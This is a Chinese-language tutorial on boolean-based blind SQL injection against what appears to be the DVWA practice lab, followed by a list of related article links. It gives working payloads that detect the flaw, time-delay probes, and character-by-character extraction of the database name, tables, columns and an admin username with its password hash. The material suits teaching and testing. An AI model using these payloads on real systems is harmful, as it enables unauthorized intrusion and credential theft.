一、代码分析

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database,否则显示 users id is missing。
像这种只有正确与错误页面。页面不会显示数据库里任何内容,如果存在注入,成为盲注。
盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入。

二、判断盲注

输入 SQL 注入检测语句,判断页面是否不一样,如果不一样,大概会存在 SQL 注入漏洞。
1'and '1'='1,一样;1'and '1'='2,不一样。
如果输入检测语句,页面没有任何改变,可以使用延时语句检测 1' and sleep(10)--+,函数 sleep() 在 mysql 是延时返回的意思,
以秒为单位,sleep(10) 即延时 10 秒执行。

三、布尔型注入攻击

1、判断bool盲注

布尔型注入攻击,页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到的 SQL 语句 select if(1=1,1,0)。
if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句。
1' and if(1=1,1,0)--+
页面返回正常,这个语句实际上是 1' and 1,真 and 真,结果为真,1 是存在记录的。所以返回正确页面。

1' and if(1=2,1,0)--+
页面返回错误,这个语句就是 1' and 0,真 and 假,结果为假,整个 SQL 的值也是 0,所以没有记录,返回错误页面。

2、获取数据库敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。
布尔型盲注入用到的函数:
SUBSTRING()字符串截取,第一个参数是字符串,第二个参数是开始截取位置,第三个是截取的长度。

2.1、查询当前库

select database()查询当前库

2.2、substring函数

通过 substring 截取截取长度。

接着再用 if 函数进行构造:
select if(SUBSTRING(database(),1,1)='d',1,0)
判断数据库第一个字是不是字符 d,如果是返回 1 否则返回 0 。

接着判断第二个字符,将 substring 第二个参数写成 2:
select if(SUBSTRING(database(),2,1)='v',1,0)
因为要截取第二个字符,第二个字符为 v,如此类推,最后拼接字符就是完整的库名。

四、在黑盒模式下布尔型注入

先判断注入,判断完注入就获取数据库的长度,得到长度再查询库名,通过库名再查询表,接着通过表查询字段,最后查询某表指定的数据。

1、判断数据库长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。
1' and if(length(database())=4,1,0)--+

判断库名的长度为 4

2、判断数据库名

截取第一个字符再进行判断:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
每次都要与这些字符进行判断,最后得到 d
1' and if(substring(database(),1,1)='d',1,0)--+

3、利用 Cluster boomb 测试

1' and if(substring(database(),1,1)='d',1,0)--+
抓包发送到测试模块,选择 Cluster boomb 模式,设置两个变量。




拼接字符得到库名 dvwa

4、获取表名

4.1、获取第一张表

1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0)--+




4.2、获取第二张表

1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1)='u',1,0)--+


5、获取字段名

5.1、抓包

1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='i',1,0)--+当前库的表的第一个列字符是否等于 i ,如果等于 i ,返回正则页面,否则返回错误页面。


5.2、添加荷载




5.3、获取user表的字段

6、获取账号和密码

6.1、先判断查询账号和密码的长度

1' and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 0,1)=38,1,0)--+




6.2、获取账号和密码

1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1),1,1)='a',1,0)--+






最后整理结果得出 admin:5f4dcc3b5aa765d61d8327deb882cf99

SQL 注入漏洞(六)布尔型盲注相关推荐

  1. SQL注入漏洞测试(报错盲注)笔记

    这个是今天拿下的靶场,这是我作为小白学习的第二个靶场,做一下笔记 已知IP地址为:219.153.49.228,端口号为41280,访问了之后是下面的页面 看到这个页面之后,我进入了后台,查看之后知道 ...

  2. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  3. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  4. 布尔型盲注Python脚本

    好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,参考sqli-labs里面的盲注漏洞进行的脚本编写. 因为写这个脚本时Python水平有限,现在也懒得改.当时就是写着玩,望师 ...

  5. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  6. SQL注入之布尔型盲注

    什么是布尔判断SQL注入? "布尔判断"指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和 ...

  7. 封神台SQL注入-基础靶场1-布尔盲注

    文章目录 布尔盲注(一) 布尔盲注(二) 布尔盲注(三) 布尔盲注(一) 1.判断注入类型 id=1 and 1=1//有数据 id=1 and 1=2//no results found 判断为数字 ...

  8. mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)

    0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x ...

  9. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

最新文章

  1. 用户profile完善
  2. Spring学习总结二
  3. HDU 4747 Mex
  4. 甲骨文全面进军云计算市场
  5. Redis数据类型使用场景及有序集合SortedSet底层实现详解
  6. 限时授权复制文件 1.0(2015.9.2更新)
  7. 靠写代码赚钱的一些门路
  8. 解决zabbix-4系列监控图形中文乱码问题
  9. 一步一步学Silverlight 2系列(5):实现简单的拖放功能_转载
  10. telnet 命令参数及其应用方式
  11. 小程序下找地点、查路线、搜地铁,用这3个插件就够了!
  12. 分组统计之facet
  13. 整理了一下以前写的东西,单条记载 现在看看还蛮有意思
  14. Electron桌面应用打包流程详情
  15. 计算机应用基础操作题答案,电大本科计算机应用基础网考操作题及答案
  16. 推荐一款MySQL开源客户端,免费+跨平台+使用便捷
  17. 详解如何使用ArcGIS计算水库库容量
  18. DuiLib的第一个win32程序
  19. 云计算“战场”硝烟弥漫,巨头争相降价抢市场
  20. Java Web快速开发框架 ---- JSPX

热门文章

  1. 一图揭露区块链钱包的应用生态——AToken出品
  2. STC15F2K60S2单片机的串口通信程序及相关知识
  3. mysql数据转换英文_数据库转换工具下载_SqliteToMysql英文版2.5 - 系统城
  4. python 子图共用x轴_将matplotlib子块与共享x轴合并
  5. i9 13900Hx性能怎么样 i913900HX参数 相当于什么水平
  6. win7下安装jdk1.8版本
  7. 六年级上计算机课程计划书,六年级新学期学习计划书
  8. 跨国合作的项目管理中值得注意的一些事情
  9. linux ps sleep进程,Linux:ps命令以及进程状态详解
  10. STM32项目设计:基于stm32的智能家居系统设计